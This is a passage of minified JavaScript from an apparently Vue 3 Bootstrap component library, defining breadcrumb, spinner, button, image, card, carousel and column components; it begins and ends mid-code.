e.stopImmediatePropagation();r.value||t(\"click\",e)};return{props:\"span\"!==l.value?su(e,_d):{},liClasses:i,computedTag:l,computedAriaCurrent:s,clicked:u}}});function Cd(e,t,n,r,o,l){return(0,a.uX)(),(0,a.CE)(\"li\",{class:(0,i.C4)([\"breadcrumb-item\",e.liClasses])},[((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({\"aria-current\":e.computedAriaCurrent},e.props,{onClick:e.clicked}),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16,[\"aria-current\",\"onClick\"]))],2)}const xd=vd(kd,[[\"render\",Cd]]),Sd={\"aria-label\":\"breadcrumb\"},Ed={class:\"breadcrumb\"},Td=(0,a.pM)({__name:\"BBreadcrumb\",props:{items:null},setup(e){const t=e,n=vu(),r=(0,a.EW)(()=>{const e=t.items||(null==n?void 0:n.items)||[];let r=!1;return e.map((t,n)=>(\"string\"==typeof t&&(t={text:t},n\u003Ce.length-1&&(t.href=\"#\")),t.active&&(r=!0),!t.active&&!r&&(t.active=n+1===e.length),t))});return(e,t)=>((0,a.uX)(),(0,a.CE)(\"nav\",Sd,[(0,a.Lk)(\"ol\",Ed,[(0,a.RG)(e.$slots,\"prepend\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(r),(e,t)=>((0,a.uX)(),(0,a.Wv)(xd,(0,a.v6)({key:t},e),{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(e.text),1)]),_:2},1040))),128)),(0,a.RG)(e.$slots,\"default\"),(0,a.RG)(e.$slots,\"append\")])]))}}),Rd={key:0,class:\"visually-hidden\"},Od=(0,a.pM)({__name:\"BSpinner\",props:{label:null,role:{default:\"status\"},small:{default:!1},tag:{default:\"span\"},type:{default:\"border\"},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"small\")),r=(0,a.EW)(()=>({\"spinner-border\":\"border\"===t.type,\"spinner-border-sm\":\"border\"===t.type&&n.value,\"spinner-grow\":\"grow\"===t.type,\"spinner-grow-sm\":\"grow\"===t.type&&n.value,[`text-${t.variant}`]:void 0!==t.variant}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(r)),role:e.label||t.$slots.label?e.role:null,\"aria-hidden\":!e.label&&!t.$slots.label||null},{default:(0,a.k6)(()=>[e.label||t.$slots.label?((0,a.uX)(),(0,a.CE)(\"span\",Rd,[(0,a.RG)(t.$slots,\"label\",{},()=>[(0,a.eW)((0,i.v_)(e.label),1)])])):(0,a.Q3)(\"\",!0)]),_:3},8,[\"class\",\"role\",\"aria-hidden\"]))}}),Md=(0,a.pM)({components:{BLink:gd,BSpinner:Od},props:{...pd,active:{type:[Boolean,String],default:!1},disabled:{type:[Boolean,String],default:!1},href:{type:String,required:!1},pill:{type:[Boolean,String],default:!1},pressed:{type:[Boolean,String],default:!1},rel:{type:String,default:void 0},size:{type:String,default:\"md\"},squared:{type:[Boolean,String],default:!1},tag:{type:String,default:\"button\"},target:{type:String,default:\"_self\"},type:{type:String,default:\"button\"},variant:{type:String,default:\"secondary\"},loading:{type:[Boolean,String],default:!1},loadingMode:{type:String,default:\"inline\"}},emits:[\"click\",\"update:pressed\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"active\")),r=cu((0,o.lW)(e,\"disabled\")),i=cu((0,o.lW)(e,\"pill\")),l=cu((0,o.lW)(e,\"pressed\")),s=cu((0,o.lW)(e,\"squared\")),u=cu((0,o.lW)(e,\"loading\")),d=(0,a.EW)(()=>!0===l.value),c=(0,a.EW)(()=>\"button\"===e.tag&&void 0===e.href&&null===e.to),f=(0,a.EW)(()=>du(e)),p=(0,a.EW)(()=>null!==e.to),h=(0,a.EW)(()=>void 0===e.href&&!c.value),v=(0,a.EW)(()=>({[`btn-${e.variant}`]:!!e.variant,[`btn-${e.size}`]:!!e.size,active:n.value||l.value,\"rounded-pill\":i.value,\"rounded-0\":s.value,disabled:r.value})),m=(0,a.EW)(()=>({\"aria-disabled\":h.value?r.value:null,\"aria-pressed\":d.value?l.value:null,autocomplete:d.value?\"off\":null,disabled:c.value?r.value:null,href:e.href,rel:f.value?e.rel:null,role:h.value||f.value?\"button\":null,target:f.value?e.target:null,type:c.value?e.type:null,to:c.value?null:e.to,append:f.value?e.append:null,activeClass:p.value?e.activeClass:null,event:p.value?e.event:null,exact:p.value?e.exact:null,exactActiveClass:p.value?e.exactActiveClass:null,replace:p.value?e.replace:null,routerComponentName:p.value?e.routerComponentName:null,routerTag:p.value?e.routerTag:null})),g=(0,a.EW)(()=>p.value?gd:e.href?\"a\":e.tag);return{classes:v,attrs:m,computedTag:g,clicked:e=>{if(r.value)return e.preventDefault(),void e.stopPropagation();t(\"click\",e),d.value&&t(\"update:pressed\",!l.value)},loadingBoolean:u}}});function Ad(e,t,n,r,o,l){const s=(0,a.g2)(\"b-spinner\");return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.computedTag),(0,a.v6)({class:[\"btn\",e.classes]},e.attrs,{onClick:e.clicked}),{default:(0,a.k6)(()=>[e.loadingBoolean?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"btn-loading\",{\"mode-fill\":\"fill\"===e.loadingMode,\"mode-inline\":\"inline\"===e.loadingMode}])},[(0,a.RG)(e.$slots,\"loading\",{},()=>[(0,a.bF)(s,{class:\"btn-spinner\",small:\"lg\"!==e.size},null,8,[\"small\"])])],2)):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",{class:(0,i.C4)([\"btn-content\",{\"btn-loading-fill\":e.loadingBoolean&&\"fill\"===e.loadingMode}])},[(0,a.RG)(e.$slots,\"default\")],2)]),_:3},16,[\"class\",\"onClick\"])}const Dd=vd(Md,[[\"render\",Ad]]),Bd=(0,a.pM)({__name:\"BButtonGroup\",props:{ariaLabel:{default:\"Group\"},size:null,tag:{default:\"div\"},vertical:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"vertical\")),r=(0,a.EW)(()=>({\"btn-group\":!n.value&&void 0===t.size,[`btn-group-${t.size}`]:void 0!==t.size,\"btn-group-vertical\":n.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(r)),role:\"group\",\"aria-label\":e.ariaLabel},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\",\"aria-label\"]))}}),Wd=[\"role\",\"aria-label\"],Pd=(0,a.pM)({__name:\"BButtonToolbar\",props:{ariaLabel:{default:\"Group\"},justify:{default:!1},role:{default:\"toolbar\"}},setup(e){const t=cu((0,o.lW)(e,\"justify\")),n=(0,a.EW)(()=>({\"justify-content-between\":t.value}));return(t,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([(0,o.R1)(n),\"btn-toolbar\"]),role:e.role,\"aria-label\":e.ariaLabel},[(0,a.RG)(t.$slots,\"default\")],10,Wd))}}),Id=(0,a.pM)({__name:\"BImg\",props:{alt:null,blank:{default:!1},blankColor:{default:\"transparent\"},block:{default:!1},center:{default:!1},fluid:{default:!1},lazy:{default:!1},fluidGrow:{default:!1},height:null,left:{default:!1},start:{default:!1},right:{default:!1},end:{default:!1},rounded:{type:[Boolean,String],default:!1},sizes:null,src:null,srcset:null,thumbnail:{default:!1},width:null},emits:[\"load\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"lazy\")),i=cu((0,o.lW)(n,\"blank\")),l=cu((0,o.lW)(n,\"block\")),s=cu((0,o.lW)(n,\"center\")),u=cu((0,o.lW)(n,\"fluid\")),d=cu((0,o.lW)(n,\"fluidGrow\")),c=cu((0,o.lW)(n,\"left\")),f=cu((0,o.lW)(n,\"start\")),p=cu((0,o.lW)(n,\"right\")),h=cu((0,o.lW)(n,\"end\")),v=cu((0,o.lW)(n,\"thumbnail\")),m='\u003Csvg width=\"%{w}\" height=\"%{h}\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 %{w} %{h}\" preserveAspectRatio=\"none\">\u003Crect width=\"100%\" height=\"100%\" style=\"fill:%{f};\">\u003C\u002Frect>\u003C\u002Fsvg>',g=(e,t,n)=>`data:image\u002Fsvg+xml;charset=UTF-8,${encodeURIComponent(m.replace(\"%{w}\",String(e)).replace(\"%{h}\",String(t)).replace(\"%{f}\",n))}`,y=(0,a.EW)(()=>\"string\"==typeof n.srcset?n.srcset.split(\",\").filter(e=>e).join(\",\"):Array.isArray(n.srcset)?n.srcset.filter(e=>e).join(\",\"):void 0),b=(0,a.EW)(()=>\"string\"==typeof n.sizes?n.sizes.split(\",\").filter(e=>e).join(\",\"):Array.isArray(n.sizes)?n.sizes.filter(e=>e).join(\",\"):void 0),$=(0,a.EW)(()=>{const e=e=>void 0===e?void 0:\"number\"==typeof e?e:Number.parseInt(e,10)||void 0,t=e(n.width),r=e(n.height);if(i.value){if(void 0!==t&&void 0===r)return{height:t,width:t};if(void 0===t&&void 0!==r)return{height:r,width:r};if(void 0===t&&void 0===r)return{height:1,width:1}}return{width:t,height:r}}),w=(0,a.EW)(()=>g($.value.width,$.value.height,n.blankColor)),_=(0,a.EW)(()=>({src:i.value?w.value:n.src,alt:n.alt,width:$.value.width||void 0,height:$.value.height||void 0,srcset:i.value?void 0:y.value,sizes:i.value?void 0:b.value,loading:r.value?\"lazy\":\"eager\"})),k=(0,a.EW)(()=>c.value||f.value?\"float-start\":p.value||h.value?\"float-end\":s.value?\"mx-auto\":void 0),C=(0,a.EW)(()=>({\"img-thumbnail\":v.value,\"img-fluid\":u.value||d.value,\"w-100\":d.value,rounded:\"\"===n.rounded||!0===n.rounded,[`rounded-${n.rounded}`]:\"string\"==typeof n.rounded&&\"\"!==n.rounded,[`${k.value}`]:void 0!==k.value,\"d-block\":l.value||s.value}));return(e,n)=>((0,a.uX)(),(0,a.CE)(\"img\",(0,a.v6)({class:(0,o.R1)(C)},(0,o.R1)(_),{onLoad:n[0]||(n[0]=e=>t(\"load\",e))}),null,16))}}),Nd=(0,a.pM)({__name:\"BCardImg\",props:{alt:null,blank:{default:!1},blankColor:null,bottom:{default:!1},lazy:{default:!1},height:null,left:{default:!1},start:{default:!1},right:{default:!1},end:{default:!1},sizes:null,src:null,srcset:null,top:{default:!1},width:null},emits:[\"load\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"bottom\")),i=cu((0,o.lW)(n,\"end\")),l=cu((0,o.lW)(n,\"left\")),s=cu((0,o.lW)(n,\"right\")),u=cu((0,o.lW)(n,\"start\")),d=cu((0,o.lW)(n,\"top\")),c=(0,a.EW)(()=>d.value?\"card-img-top\":s.value||i.value?\"card-img-right\":r.value?\"card-img-bottom\":l.value||u.value?\"card-img-left\":\"card-img\"),f=(0,a.EW)(()=>({alt:n.alt,height:n.height,src:n.src,lazy:n.lazy,width:n.width,blank:n.blank,blankColor:n.blankColor,sizes:n.sizes,srcset:n.srcset})),p=(0,a.EW)(()=>[c.value]);return(e,n)=>((0,a.uX)(),(0,a.Wv)(Id,(0,a.v6)({class:(0,o.R1)(p)},(0,o.R1)(f),{onLoad:n[0]||(n[0]=e=>t(\"load\",e))}),null,16,[\"class\"]))}}),Ld=[\"innerHTML\"],jd=(0,a.pM)({__name:\"BCardHeadFoot\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`text-${t.textVariant}`]:void 0!==t.textVariant,[`bg-${t.bgVariant}`]:void 0!==t.bgVariant,[`border-${t.borderVariant}`]:void 0!==t.borderVariant}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(n))},{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,innerHTML:e.html},null,8,Ld)):(0,a.RG)(t.$slots,\"default\",{key:1},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Fd=(0,a.pM)({__name:\"BCardHeader\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){return(e,t)=>((0,a.uX)(),(0,a.Wv)(jd,(0,a.v6)({class:\"card-header\"},e.$props),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16))}}),Vd=(0,a.pM)({__name:\"BCardTitle\",props:{text:null,tag:{default:\"h4\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"card-title\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Ud=(0,a.pM)({__name:\"BCardSubtitle\",props:{text:null,tag:{default:\"h6\"},textVariant:{default:\"muted\"}},setup(e){const t=e,n=(0,a.EW)(()=>({[`text-${t.textVariant}`]:!!t.textVariant}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"card-subtitle mb-2\",(0,o.R1)(n)])},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Xd=(0,a.pM)({__name:\"BCardBody\",props:{bodyBgVariant:null,bodyTag:{default:\"div\"},bodyTextVariant:null,overlay:{default:!1},subtitle:null,subtitleTag:{default:\"h4\"},subtitleTextVariant:null,title:null,titleTag:{default:\"h4\"},text:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"overlay\")),r=(0,a.EW)(()=>({\"card-img-overlay\":n.value,[`text-${t.bodyTextVariant}`]:void 0!==t.bodyTextVariant,[`bg-${t.bodyBgVariant}`]:void 0!==t.bodyBgVariant}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.bodyTag),{class:(0,i.C4)([\"card-body\",(0,o.R1)(r)])},{default:(0,a.k6)(()=>[e.title||t.$slots.title?((0,a.uX)(),(0,a.Wv)(Vd,{key:0,tag:e.titleTag},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])]),_:3},8,[\"tag\"])):(0,a.Q3)(\"\",!0),e.subtitle||t.$slots.subtitle?((0,a.uX)(),(0,a.Wv)(Ud,{key:1,tag:e.subtitleTag,\"text-variant\":e.subtitleTextVariant},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"subtitle\",{},()=>[(0,a.eW)((0,i.v_)(e.subtitle),1)])]),_:3},8,[\"tag\",\"text-variant\"])):(0,a.Q3)(\"\",!0),(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},8,[\"class\"]))}}),Hd=(0,a.pM)({__name:\"BCardFooter\",props:{text:null,bgVariant:null,borderVariant:null,html:null,tag:{default:\"div\"},textVariant:null},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)(jd,(0,a.v6)({class:\"card-footer\"},t.$props),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3},16))}}),Gd=(0,a.pM)({__name:\"BCard\",props:{align:null,bgVariant:null,bodyBgVariant:null,bodyClass:null,bodyTag:{default:\"div\"},bodyTextVariant:null,borderVariant:null,footer:null,footerBgVariant:null,footerBorderVariant:null,footerClass:null,footerHtml:{default:\"\"},footerTag:{default:\"div\"},footerTextVariant:null,header:null,headerBgVariant:null,headerBorderVariant:null,headerClass:null,headerHtml:{default:\"\"},headerTag:{default:\"div\"},headerTextVariant:null,imgAlt:null,imgBottom:{default:!1},imgEnd:{default:!1},imgHeight:null,imgLeft:{default:!1},imgRight:{default:!1},imgSrc:null,imgStart:{default:!1},imgTop:{default:!1},imgWidth:null,noBody:{default:!1},overlay:{default:!1},subtitle:null,subtitleTag:{default:\"h6\"},subtitleTextVariant:{default:\"muted\"},tag:{default:\"div\"},textVariant:null,title:null,titleTag:{default:\"h4\"},bodyText:{default:\"\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"imgBottom\")),r=cu((0,o.lW)(t,\"imgEnd\")),l=cu((0,o.lW)(t,\"imgLeft\")),s=cu((0,o.lW)(t,\"imgRight\")),u=cu((0,o.lW)(t,\"imgStart\")),d=cu((0,o.lW)(t,\"noBody\")),c=(0,a.EW)(()=>({[`text-${t.align}`]:void 0!==t.align,[`text-${t.textVariant}`]:void 0!==t.textVariant,[`bg-${t.bgVariant}`]:void 0!==t.bgVariant,[`border-${t.borderVariant}`]:void 0!==t.borderVariant,\"flex-row\":l.value||u.value,\"flex-row-reverse\":r.value||s.value})),f=(0,a.EW)(()=>({bgVariant:t.headerBgVariant,borderVariant:t.headerBorderVariant,html:t.headerHtml,tag:t.headerTag,textVariant:t.headerTextVariant})),p=(0,a.EW)(()=>({overlay:t.overlay,bodyBgVariant:t.bodyBgVariant,bodyTag:t.bodyTag,bodyTextVariant:t.bodyTextVariant,subtitle:t.subtitle,subtitleTag:t.subtitleTag,subtitleTextVariant:t.subtitleTextVariant,title:t.title,titleTag:t.titleTag})),h=(0,a.EW)(()=>({bgVariant:t.footerBgVariant,borderVariant:t.footerBorderVariant,html:t.footerHtml,tag:t.footerTag,textVariant:t.footerTextVariant})),v=(0,a.EW)(()=>({src:t.imgSrc,alt:t.imgAlt,height:t.imgHeight,width:t.imgWidth,bottom:t.imgBottom,end:t.imgEnd,left:t.imgLeft,right:t.imgRight,start:t.imgStart,top:t.imgTop}));return(t,r)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"card\",(0,o.R1)(c)])},{default:(0,a.k6)(()=>[(0,o.R1)(n)?(0,a.Q3)(\"\",!0):(0,a.RG)(t.$slots,\"img\",{key:0},()=>[e.imgSrc?((0,a.uX)(),(0,a.Wv)(Nd,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(v))),null,16)):(0,a.Q3)(\"\",!0)]),e.header||t.$slots.header||e.headerHtml?((0,a.uX)(),(0,a.Wv)(Fd,(0,a.v6)({key:1},(0,o.R1)(f),{class:e.headerClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"header\",{},()=>[(0,a.eW)((0,i.v_)(e.header),1)])]),_:3},16,[\"class\"])):(0,a.Q3)(\"\",!0),(0,o.R1)(d)?(0,a.RG)(t.$slots,\"default\",{key:3},()=>[(0,a.eW)((0,i.v_)(e.bodyText),1)]):((0,a.uX)(),(0,a.Wv)(Xd,(0,a.v6)({key:2},(0,o.R1)(p),{class:e.bodyClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.bodyText),1)])]),_:3},16,[\"class\"])),e.footer||t.$slots.footer||e.footerHtml?((0,a.uX)(),(0,a.Wv)(Hd,(0,a.v6)({key:4},(0,o.R1)(h),{class:e.footerClass}),{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"footer\",{},()=>[(0,a.eW)((0,i.v_)(e.footer),1)])]),_:3},16,[\"class\"])):(0,a.Q3)(\"\",!0),(0,o.R1)(n)?(0,a.RG)(t.$slots,\"img\",{key:5},()=>[e.imgSrc?((0,a.uX)(),(0,a.Wv)(Nd,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(v))),null,16)):(0,a.Q3)(\"\",!0)]):(0,a.Q3)(\"\",!0)]),_:3},8,[\"class\"]))}}),Yd=(0,a.pM)({__name:\"BCardGroup\",props:{columns:{default:!1},deck:{default:!1},tag:{default:\"div\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"columns\")),r=cu((0,o.lW)(t,\"deck\")),l=(0,a.EW)(()=>r.value?\"card-deck\":n.value?\"card-columns\":\"card-group\"),s=(0,a.EW)(()=>({[l.value]:!!l.value}));return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)((0,o.R1)(s))},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"]))}}),zd=(0,a.pM)({__name:\"BCardText\",props:{text:null,tag:{default:\"p\"}},setup(e){return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"card-text\"},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.text),1)])]),_:3}))}}),Kd=[\"id\"],qd={key:0,class:\"carousel-indicators\"},Qd=[\"data-bs-target\",\"data-bs-slide-to\",\"aria-label\"],Zd={class:\"carousel-inner\"},Jd=[\"data-bs-target\"],ec=(0,a.Lk)(\"span\",{class:\"carousel-control-prev-icon\",\"aria-hidden\":\"true\"},null,-1),tc={class:\"visually-hidden\"},nc=[\"data-bs-target\"],rc=(0,a.Lk)(\"span\",{class:\"carousel-control-next-icon\",\"aria-hidden\":\"true\"},null,-1),ac={class:\"visually-hidden\"},oc=Symbol(),ic=(0,a.pM)({__name:\"BCarousel\",props:{startingSlide:{default:0},id:null,imgHeight:null,imgWidth:null,background:null,modelValue:{default:0},controls:{default:!1},indicators:{default:!1},interval:{default:5e3},noTouch:{default:!1},noWrap:{default:!1},controlsPrevText:{default:\"Previous\"},controlsNextText:{default:\"Next\"},indicatorsButtonLabel:{default:\"Slide\"}},emits:[\"sliding-start\",\"sliding-end\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"controls\")),l=cu((0,o.lW)(n,\"indicators\")),s=cu((0,o.lW)(n,\"noTouch\"));cu((0,o.lW)(n,\"noWrap\"));const u=(0,a.Ht)(),d=(0,o.KR)(),c=(0,o.KR)(),f=xu((0,o.lW)(n,\"id\"),\"carousel\"),p=(0,o.KR)([]);return mu(d,\"slide.bs.carousel\",e=>t(\"sliding-start\",e)),mu(d,\"slid.bs.carousel\",e=>t(\"sliding-end\",e)),(0,a.sV)(()=>{c.value=new Rr(d.value,{wrap:!s.value,interval:n.interval,touch:!s.value}),u.default&&(p.value=u.default().filter(e=>{var t;return\"BCarouselSlide\"===(null==(t=e.type)?void 0:t.__name)}))}),(0,a.Gt)(oc,{background:n.background,width:n.imgWidth,height:n.imgHeight}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(f),ref_key:\"element\",ref:d,class:\"carousel slide\",\"data-bs-ride\":\"carousel\"},[(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"div\",qd,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(p.value,(t,n)=>((0,a.uX)(),(0,a.CE)(\"button\",{key:n,type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide-to\":n,class:(0,i.C4)(n===e.startingSlide?\"active\":\"\"),\"aria-current\":\"true\",\"aria-label\":`${e.indicatorsButtonLabel} ${n}`},null,10,Qd))),128))])):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",Zd,[(0,a.RG)(t.$slots,\"default\")]),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.Lk)(\"button\",{class:\"carousel-control-prev\",type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide\":\"prev\"},[ec,(0,a.Lk)(\"span\",tc,(0,i.v_)(e.controlsPrevText),1)],8,Jd),(0,a.Lk)(\"button\",{class:\"carousel-control-next\",type:\"button\",\"data-bs-target\":`#${(0,o.R1)(f)}`,\"data-bs-slide\":\"next\"},[rc,(0,a.Lk)(\"span\",ac,(0,i.v_)(e.controlsNextText),1)],8,nc)],64)):(0,a.Q3)(\"\",!0)],8,Kd))}}),lc=[\"data-bs-interval\"],sc=[\"innerHTML\"],uc={key:1},dc=[\"innerHTML\"],cc={key:1},fc=(0,a.pM)({__name:\"BCarouselSlide\",props:{imgSrc:null,imgHeight:null,imgWidth:null,interval:null,active:{default:!1},background:null,caption:null,captionHtml:null,captionTag:{default:\"h3\"},contentTag:{default:\"div\"},contentVisibleUp:null,id:null,imgAlt:null,imgBlank:{default:!1},imgBlankColor:{default:\"transparent\"},text:null,textHtml:null,textTag:{default:\"p\"}},setup(e){const t=e,n=cu((0,o.lW)(t,\"active\")),r=cu((0,o.lW)(t,\"imgBlank\")),l=(0,a.WQ)(oc,{});(0,a.EW)(()=>r.value?r.value:t.imgSrc);const s=(0,a.EW)(()=>({background:`${t.background||l.background||\"rgb(171, 171, 171)\"} none repeat scroll 0% 0%`})),u=(0,a.EW)(()=>({\"d-none\":void 0!==t.contentVisibleUp,[`d-${t.contentVisibleUp}-block`]:void 0!==t.contentVisibleUp})),d=(0,a.EW)(()=>l.width),c=(0,a.EW)(()=>l.height);return(t,l)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"carousel-item\",{active:(0,o.R1)(n)}]),\"data-bs-interval\":e.interval,style:(0,i.Tr)((0,o.R1)(s))},[(0,a.RG)(t.$slots,\"img\",{},()=>[(0,a.bF)(Id,{class:\"d-block w-100\",alt:e.imgAlt,src:e.imgSrc,width:e.imgWidth||(0,o.R1)(d),height:e.imgHeight||(0,o.R1)(c),blank:(0,o.R1)(r),\"blank-color\":e.imgBlankColor},null,8,[\"alt\",\"src\",\"width\",\"height\",\"blank\",\"blank-color\"])]),e.caption||e.captionHtml||e.text||e.textHtml||t.$slots.default?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.contentTag),{key:0,class:(0,i.C4)([\"carousel-caption\",(0,o.R1)(u)])},{default:(0,a.k6)(()=>[e.caption||e.captionHtml?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.captionTag),{key:0},{default:(0,a.k6)(()=>[e.captionHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.captionHtml},null,8,sc)):((0,a.uX)(),(0,a.CE)(\"span\",uc,(0,i.v_)(e.caption),1))]),_:1})):(0,a.Q3)(\"\",!0),e.text||e.textHtml?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.textTag),{key:1},{default:(0,a.k6)(()=>[e.textHtml?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.textHtml},null,8,dc)):((0,a.uX)(),(0,a.CE)(\"span\",cc,(0,i.v_)(e.text),1))]),_:1})):(0,a.Q3)(\"\",!0),(0,a.RG)(t.$slots,\"default\")]),_:3},8,[\"class\"])):(0,a.Q3)(\"\",!0)],14,lc))}}),pc=Qs(\"\",[],{type:[Boolean,String,Number],default:!1}),hc=Qs(\"offset\",[\"\"],{type:[String,Number],default:null}),vc=Qs(\"order\",[\"\"],{type:[String,Number],default:null}),mc=(0,a.pM)({name:\"BCol\",props:{col:{type:[Boolean,String],default:!1},cols:{type:[String,Number],default:null},...pc,offset:{type:[String,Number],default:null},...hc,order:{type:[String,Number],default:null},...vc,alignSelf:{type:String,default:null},tag:{type:String,default:\"div\"}},setup(e){const t=cu((0,o.lW)(e,\"col\")),n=[{content:pc,propPrefix:\"cols\",classPrefix:\"col\"},{content:hc,propPrefix:\"offset\"},{content:vc,propPrefix:\"order\"}],r=(0,a.EW)(()=>n.flatMap(t=>Zs(e,t.content,t.propPrefix,t.classPrefix)));return{classes:(0,a.EW)(()=>({col:t.value||!r.value.some(t=>\u002F^col-\u002F.test(t)&&!e.cols),[`col-${e.cols}`]:!!e.cols,[`offset-${e.offset}`]:!!e.offset,[`order-${e.order}`]:!!e.order,[`align-self-${e.alignSelf}`]:!!e.alignSelf})),classList:r}}});function gc(e,t,n,r,o,l){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([e.classes,e.classList])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"])}const yc=vd(mc,[[\"render\",gc]]),bc=(0,a.pM)({__name:\"BTransition\",props:{appear:{default:!1},mode:null,noFade:{default:!1},transProps:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"appear\")),r=cu((0,o.lW)(t,\"noFade\")),s=(0,a.EW)(()=>{const e={name:\"\",enterActiveClass:\"\",enterToClass:\"\",leaveActiveClass:\"\",leaveToClass:\"showing\",enterFromClass:\"showing\",leaveFromClass:\"\"},t={...e,enterActiveClass:\"fade showing\",leaveActiveClass:\"fade showing\"};return r.value?e:t}),u=(0,a.EW)(()=>({mode:t.mode,css:!0,...s.value})),d=(0,a.EW)(()=>void 0!==t.transProps?{...u.value,...t.transProps}:n.value?{...u.value,appear:!0,appearActiveClass:s.value.enterActiveClass,appearToClass:s.value.enterToClass}:u.value);return(e,t)=>((0,a.uX)(),(0,a.Wv)(l.eB,(0,i._B)((0,a.Ng)((0,o.R1)(d))),{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},16))}}),$c=\"toast-title\",wc=1e3,_c=(0,a.pM)({components:{BLink:gd},props:{...pd,delay:{type:Number,default:5e3},bodyClass:{type:String},body:{type:[Object,String]},headerClass:{type:String},headerTag:{type:String,default:\"div\"},animation:{type:[Boolean,String],default:!0},id:{type:String},isStatus:{type:[Boolean,String],default:!1},autoHide:{type:[Boolean,String],default:!0},noCloseButton:{type:[Boolean,String],default:!1},noFade:{type:[Boolean,String],default:!1},noHoverPause:{type:[Boolean,String],default:!1},solid:{type:[Boolean,String],default:!1},static:{type:[Boolean,String],default:!1},title:{type:String},modelValue:{type:[Boolean,String],default:!1},toastClass:{type:Array},variant:{type:String}},emits:[\"destroyed\",\"update:modelValue\"],setup(e,{emit:t,slots:n}){cu((0